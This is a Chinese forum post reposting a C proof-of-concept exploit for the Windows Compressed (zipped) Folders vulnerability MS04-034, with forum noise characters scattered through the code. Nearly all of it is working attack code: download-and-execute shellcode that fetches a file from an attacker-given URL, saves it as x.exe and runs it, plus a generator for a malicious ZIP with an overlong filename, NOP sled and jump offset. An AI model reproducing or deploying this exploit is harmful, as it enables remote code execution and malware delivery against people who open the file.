QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2555|回复: 0
打印 上一主题 下一主题

(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 10:51 |只看该作者 |正序浏览
|招呼Ta 关注Ta
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) 4 V' n( M8 X/ m: N' ?# a*, f4 z' o1 p3 J5 l$ C# L * Tested under Windows XP SP0 Spanish/English8 L! P Z% ~$ ? *( R; ]. s$ e* V8 w; s9 T * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html; ^7 y/ I' q+ [ * Exploit Date: 21/10/2004 ( t( ]" E1 l- I9 w& V5 Q7 ?; T*9 e7 o& X& o# ]- T. l3 f * Tarako - Haxorcitos.com 2004 # g& l, B! |3 O) R* ^1 n& u* : x: A. A B/ K) J9 x$ O& D: y* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS": i) d( R: }6 m, x * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION ; i3 C n4 z) l' j% l# s( H$ _* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 8 M# l2 \; s& Q: Z1 w* 8 v: G2 {; ~8 [& s/ J* Greetings t #haxorcitos, #dsr and #localhost @efnet1 {% u2 A+ b. @! r# U2 o3 _ * 3 v( G3 \( T/ i! I4 a+ O: v+ w* 9 {+ g$ a$ j, O4 O* How to get new offsets: ( |# d) D; q* u" U" x* 1) attach debugger (i.e ollydbg) to explorer.exe" R- o2 X& p6 ] A1 S3 ~ V * 2) open the zip file as a folder and add or move some files to it0 b" l1 \1 q2 y8 G( A( i* O) A * 3) search in the explorer.exe memory the shellcode and get the addresses8 g, `" \4 ~% \9 X3 z" Y9 f6 ~ *: M7 N- x' x9 }% Y9 M4 Q' S */- ^/ T2 S; [8 L w ) _8 \& ]/ l, ^; _#include <stdio.h>5 B0 \0 b p+ z1 m #include <windows.h>0 W, a4 @) q4 K% L2 d & y0 K7 M) Q: \& M8 i% A #pragma pack(1)' J6 A$ h8 p3 p) p& ^! i 6 L8 C+ Q1 ]9 h& d- j #define DATOS "Tarako-Haxorcitos.com" . w$ F9 A7 D3 ?$ ] 7 b1 I' |5 d! a8 V+ O1 qtypedef struct { + \1 D1 b0 a9 L, {DWORD Signature; // PK.. 4 bytes (0x04034B50) , C$ L' E* A; XWORD VersionNeeded;$ H* t8 |! H) W; W WORD GeneralPurposeFlag; // para el data descriptor y demas 0 }+ m/ M5 [& w7 vWORD CompressionMethod; ' |# Q4 P( W4 N% NWORD ModFileTime; # H) l4 r: B- x8 `7 {" C4 |+ I6 t. mWORD ModFileDate; / H, s( M, c& F) WDWORD Crc32;- U/ M- Z' s- } DWORD CompressedSize;! C6 X5 b9 }! o* ` g0 O8 k DWORD UncompressedSize;. M( s+ A* q6 i0 M/ Q& r WORD FilenameLength;" j$ }7 o: s/ M5 J) I, ?9 v: d WORD ExtraFieldLength;( _4 ^: o4 E( Y: X6 } // filename (variable size) r5 V' O- i2 d$ t/ | // extra field (variable size) A7 M! K9 ] w3 {$ {}TOPHEADER; 8 y, e% G9 n, e% \0 W; G ' R2 J6 I* T) b# K3 W3 J8 ? / U6 `& j- g( E% k: ^5 x/ D1 k7 }- Atypedef struct { 5 l& f# L" b: Q! K: k: a DWORD Signature; // PK.. 4 bytes (0x02014B50)' Y) {0 Z& x, [. | WORD MadeVersion;4 Y1 C7 s$ N: s' M, p+ O$ W WORD VersionNeeded;4 u1 F! Z3 V- j1 ~& j9 J1 c WORD GeneralPurposeFlag; // para el data descriptor y demas % m' e& ]8 o- L. T, e$ ^ o7 jWORD CompressionMethod; . [: i0 {0 m. j' g0 `WORD ModFileTime;. q9 p( h$ v5 p4 s, D1 a: f+ i- D! T6 z WORD ModFileDate;/ s; B8 O9 [- l8 x7 d7 t DWORD Crc32;+ t& A2 Q2 F+ }- r0 K: ^, v DWORD CompressedSize; % v2 \1 H0 w! v0 R& [* eDWORD UncompressedSize; ) P& q( d5 }$ {# {3 x) bWORD FilenameLength; ! G$ @( S4 n. [- G( d# sWORD ExtraFieldLength;# }- R' |3 [/ C5 Q* d WORD FileCommentLength; # t {) x! t" ^7 a9 WWORD DiskNumberStart;2 v0 p) f6 `4 G3 W/ T; G1 _ WORD InternalFileAttributes; # {% ^: e' P' I1 n: E7 ODWORD ExternalFileAttributes; 5 f9 B: A+ D2 n& NDWORD RelativeOffsetOfLocalHeader;7 Z5 o/ m7 E& {8 G2 Z' Y( k // filename (variable size)/ d7 P) c& ~8 R // extra field (variable size)4 W8 _+ ~# P8 c- @, p // file comment (variable size)5 N5 L1 ^ `. y: _ }MIDDLEHEADER; 1 x. E" O0 C/ t$ o3 {2 d4 y ' e% a% D. h3 N6 z9 s/ Q8 Rtypedef struct {( N: `1 {0 G3 B; V DWORD Signature; // PK.. 4 bytes (0x06054B50)- ^% I5 o" t3 | WORD NumOfThisDisk;/ b; l7 E, `7 T WORD NumDisckStartCentralDirectory; " U6 U) f6 d6 @8 C& p+ fWORD NumEntriesCentralDirOnThisDisk;0 y- n3 ]9 y* d% m WORD TotalNumEntriesCentralDir;8 b/ s/ Z1 `: | DWORD SizeCentralDirectory;* e+ }% s' w* ?# z DWORD OffsetCentraDirRespectStartDiskNum; 1 [" Y! X& X; r7 b2 `2 z; `WORD ZipCommentLength;7 p) G2 R$ J! p // zipfile comment (variable size) + L; L F$ U: w, {8 d}BOTTOMHEADER;6 d2 m0 W& n. K" {8 v5 y1 n# I G 2 c4 f% J2 u' K) }" G/* 4 B7 }3 a7 r/ ^; w* r4 Z% F* download shellcode - RaiSe - raise@netsearch-ezine.com " b! s" x2 h) d8 f! t*/- L, v, \& U1 q3 S3 ^6 o* w ] char shellcode1[] =1 q' @5 f6 c3 N! ` "\xEB\x5D\x5F\x8B\xF7\x80\x3F"6 ~8 ~' v+ J5 Y0 l. V "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9": m2 y4 U" S9 F$ K7 V "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08", k; \' h. Q- ^/ d$ t "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" + i2 M) F/ t8 K"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"( B5 ^! A( d; }1 s/ f* K: N$ j "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"# H. o# ~5 m* w9 J! z9 | "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" 1 W4 ]( h& ]8 m0 H3 n+ {"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" 3 a. V6 f( N% E' s9 o"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" , C0 x/ H, u1 C& C/ N& o& ~ B) S"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"5 T$ X% g+ V1 b "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30") X# K" x4 c0 t( H/ x& l* a "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"; e) e8 k8 X j3 [; Q% P. @: p "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" ! u9 f& ^# ^$ g% G$ W4 `- {) m9 X"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" 6 ~- x5 s7 [$ G"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" ) D7 F" B7 P' b& H+ f"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" , L/ O1 [% b4 q$ A"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" % l8 t5 ~- e+ K) q; V5 G"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C") S, e7 E3 ]8 Y! n# n4 S: P( J8 j "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 8 |2 B8 i8 g' j) A' d* `4 ]' v# Z"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" , g3 f9 b4 q) a$ K"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" $ {% z1 s8 d9 Z0 l" R% z) F. k% Y"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" 3 t4 [6 O% t* X"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"7 K- i+ w- E# t5 z( k0 G# Q: W "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B", i% }. [% ^5 F# y3 S "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" 1 R- M1 w& W/ F- m! h3 j J; a"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" 1 U6 H+ p1 C* i5 ?/ s"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" * O- M! I4 s+ ~$ M) y# O- C"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"& W- u) _7 s {+ i5 s9 D. R "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" ' H7 E0 j% l& T; h4 ]; i0 ?3 W, \- d"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78": |2 \7 g" p! M% A- B "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" * Z% j; c& s1 J8 H/ r' E"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"4 i/ n' D1 H4 y, _ @ "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" 0 D7 a% w1 b$ K3 U"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"3 | s* C) ^) {. @( a "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";$ Z& |2 ]! w6 F4 y2 K; W; {6 n char shellcode2[] ="\x08\x01";3 j) ]8 l/ C/ `; ?& _1 P . h6 T0 T5 d1 k; Y9 Dchar offset[]="\x41\x41\x41\x41";3 S5 |( _8 O$ Q% |4 y+ ` char jmpbelow[]= "\xeb\x06\x90\x90"; ( C7 g6 I- t V4 I, s: Q+ `. b. O* w/ U" i! f int main(int argc,char *argv[]) {8 l5 w* h; g8 y3 n 9 p0 w& N' P( j6 j9 j5 A FILE *ZipFile;6 v: I0 k! y, n p( x6 U TOPHEADER *Cabecera1;' Y8 R( D4 a7 n4 F A2 J MIDDLEHEADER *Cabecera2;( V. K$ l* q$ g* | BOTTOMHEADER *Cabecera3; * _8 u5 y9 n% `: {7 Y5 p5 X0 p( W, U3 Z- A4 {7 X7 K+ x) b5 M DWORD c;; ]; C' R6 q8 U8 u: R/ J UINT i; 3 E; w' ]* C0 r/ Tchar *filename;% S& B& y4 Y3 L* y! C char *url; ! c8 d; Q& h+ @- j+ _4 X, v" f: R4 | x0 Z printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");& P3 B+ S& Q+ R) ~8 y printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");: ?# {- S+ @, E1 x ; p+ t2 t. t9 ~5 B/ u if (argc!=2) {" v& \9 @+ c5 y& z/ N printf("\n\n Usage: %s <URL> \n",argv[0]); 6 h6 [, c; J, i9 |3 |3 d0 gexit(1); . b0 H2 ] J7 ~- H5 G) \} " a1 f+ E! c/ k1 l( w, T, {6 a4 ^/ a+ X2 Z& Z& b2 q url=argv[1]; * S' M: ^/ p, ~2 c! Fprintf("\n * URL: %s",url);6 @! C5 T- S- d ! m( W1 _1 b' x6 X% E5 |- B8 C6 ^; {7 ?; U if (!(ZipFile=fopen("prueba.zip","w+b"))) { 6 L7 T3 D* ]( E0 V! c. xprintf("\n [E] fopen()");, Y6 E, [8 ?8 x, N5 V& @3 G exit(1);& [1 v* B; J6 _( [9 p- O5 g# x4 q }6 s9 K4 J7 z# Q+ Z5 g& X " H" T' N8 @ |7 O/ g& k! {* G c=0x8000; // filename length8 M5 J" d* Z0 i' ?0 W' q# F filename=(char*)malloc(sizeof(char)*c); ' B: { I" K! v: Y memset(filename,0,sizeof(filename));' H2 [: s% c( t) s+ d. Y. V1 ` # w1 `7 U& l3 o1 k# j- T for( i=0x0;i<c;i++) filename=(BYTE)0x90;0 D/ y% S/ N: ^1 s8 H- @ & Z' T' b+ I7 p$ h2 i memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); 4 b. w; Y, c) X0 Amemcpy(filename+0x1818,offset,strlen(offset)); - U3 i5 ^- M6 C3 }( J& ~7 v) N0 D! k" D, _' M- _6 J# m7 J+ G( } memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);- q$ ~. r1 [& l- H memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); / a( U, M( p' L/ ]memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);, r5 l$ M+ d: s6 m. o. r5 ?# N. M 5 R) R, n4 `6 D& t. f memcpy(filename+(c-4),".txt",4); ' [1 a' v4 I% Q+ {* U) `3 X% k6 N* v( ~2 x3 S; I! c# E2 e. { Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));8 B" B( H4 v! H6 ]. ?! l9 Q Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); 8 b, s! U5 a( U1 D1 U& M7 n1 v& |. ACabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); % N9 A1 u( V p- @: gmemset(Cabecera1,0,sizeof(TOPHEADER)); 9 o4 F; k& T' o; t$ @memset(Cabecera2,0,sizeof(MIDDLEHEADER)); * V. j/ H" u2 S: m2 Bmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); / B3 P* N% }6 m5 | , F6 Y6 {9 W& F+ w& J7 |4 ]///////////////////////////////////////////////////////////////////. x7 D, T* S- S, K) K4 Z // TOPHEADER 7 I! G9 B7 h! a9 O6 ?) j/ P/////////////////////////////////////////////////////////////////// 8 L- P: O; H# n% ?% W$ P8 t' hCabecera1->Signature=0x04034B50; // DWORD $ c4 s2 I( {: F9 a6 V4 ~- {5 lCabecera1->VersionNeeded=0x000A; // WORD6 N7 [# R' z& {6 `: u8 G5 ^ N Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas # i. Z& ?2 Z. X+ f2 gCabecera1->CompressionMethod=0x0000; // WORD; x) L2 ?$ j' l. h) G1 G( ]: ] Cabecera1->ModFileTime=0x1362; // WORD ' a6 u1 R1 ^; o: [Cabecera1->ModFileDate=0x3154; // WORD9 g1 U7 l2 S& Y Cabecera1->Crc32=0x85B36639; // DWORD 1 k' Q9 {# y3 i$ ]7 fCabecera1->CompressedSize=0x00000015; // DWORD6 L4 G( n8 O9 |+ v Cabecera1->UncompressedSize=0x00000015; // DWORD }" j; f Z/ _0 f! a; p. J Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);) F0 v. [ o7 f Cabecera1->ExtraFieldLength=0x0000; // WORD6 ?' w" d& s2 n: B+ B$ R) e9 y ///////////////////////////////////////////////////////////////////" k% n: Q. J+ l( a( v & j3 d- P) {8 W% D2 L/////////////////////////////////////////////////////////////////// 6 L& F, W a- X+ g$ K1 c// MIDDLEHEADER % @4 J* o$ i6 k///////////////////////////////////////////////////////////////////# `- n2 d9 P- y+ {" V& q2 u' b Cabecera2->Signature=0x02014B50; // DWORD8 ^# {% M& i2 K: Z) P Cabecera2->MadeVersion=0x0014; // WORD; y% E" i/ q* s$ {1 C% c Cabecera2->VersionNeeded=0x000A; // WORD* v- M' Q( a3 A! S# r Cabecera2->GeneralPurposeFlag=0x0002; // WORD# F6 r" A) m& a& w( I) _/ R% j, {3 O Cabecera2->CompressionMethod=0x0000; // WORD% d: Z- J! _+ P3 X Cabecera2->ModFileTime=0x1362; // WORD " E z, [' p- }0 y _6 YCabecera2->ModFileDate=0x3154; // WORD 9 W/ n2 m/ O- R0 ICabecera2->Crc32=0x85B36639; // DWORD ) a# M; y% E7 I- HCabecera2->CompressedSize=0x00000015; // DWORD+ D- F/ F( \8 k8 A c7 g9 @ Cabecera2->UncompressedSize=0x00000015; // DWORD- h/ V! _/ P- M4 j4 t0 ~. Z6 X8 P0 j Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);# O7 E! X8 j' T$ H, ^ Cabecera2->ExtraFieldLength=0x0000; // WORD * l8 P6 J" r; cCabecera2->FileCommentLength=0x0000; // WORD ) K9 F: B8 Z/ OCabecera2->DiskNumberStart=0x0000; // WORD+ o- Y/ M3 y7 U9 @5 _; |" _2 r Cabecera2->InternalFileAttributes=0x0001; // WORD " i! {& c' E! h, mCabecera2->ExternalFileAttributes=0x00000020; // DWORD # M1 h; _) i4 c# x$ gCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD % S3 Y# H6 V( E///////////////////////////////////////////////////////////////////! `' y3 a1 @) f1 o8 H + k1 _3 v! t, |: G. D9 D3 @ ///////////////////////////////////////////////////////////////////0 _2 l7 C6 m6 l4 P // BOTTOMHEADER) A4 F; I d0 t: d6 C5 @2 R% I ///////////////////////////////////////////////////////////////////3 v2 K7 Q5 p2 j0 C% W1 U9 W Cabecera3->Signature=0x06054B50; // DWORD& `" C$ X4 } e2 Y0 A$ n5 _: u Cabecera3->NumOfThisDisk=0x0000; // WORD 7 A; E/ _/ R! x3 j' R* |8 L6 `/ pCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD& T5 C( s- }! a/ D& ? c3 k) |# H+ } Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD2 g9 Y" u( b4 b+ j Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD! x! ^0 j0 k. `/ x2 b Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD $ r& z: J+ e) l( D- o& h6 qCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 5 Y7 T3 h1 A" b# u6 B& M) w Cabecera3->ZipCommentLength=0x0000; // WORD0 b2 z0 w6 l" _/ u: n$ A- ~ /////////////////////////////////////////////////////////////////// , e8 U3 T& X( ^" U 0 t0 h# J, ?* u1 A" w4 Ufwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);$ |# G( h5 e% }# E% p% k & g. u% B" f% R fwrite(filename, c, 1,ZipFile); 1 l* ^6 a, U6 b8 j3 Z8 qfwrite(DATOS,strlen(DATOS),1,ZipFile);2 i$ c" v' [; l, _ g 3 D b# ]* W4 R# \fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);8 y3 s% M" F$ U% V! U1 h& [ fwrite(filename, c, 1,ZipFile); ) E9 j7 L6 _6 S4 `9 C fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);4 w6 D% }5 v+ ]! x( C X& G $ A' w4 g. z8 e: s _fclose(ZipFile);4 S A5 X; l& S4 e! G/ [ printf("\n * prueba.zip created\n");; c+ D7 _" {% F/ f( a return 1; ; F4 }: R2 r" P2 r/ y6 ^0 d}//downloaded from milw0rm.com $ m8 c& t, K+ q* c

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-19 18:18 , Processed in 0.431893 second(s), 53 queries .

回顶部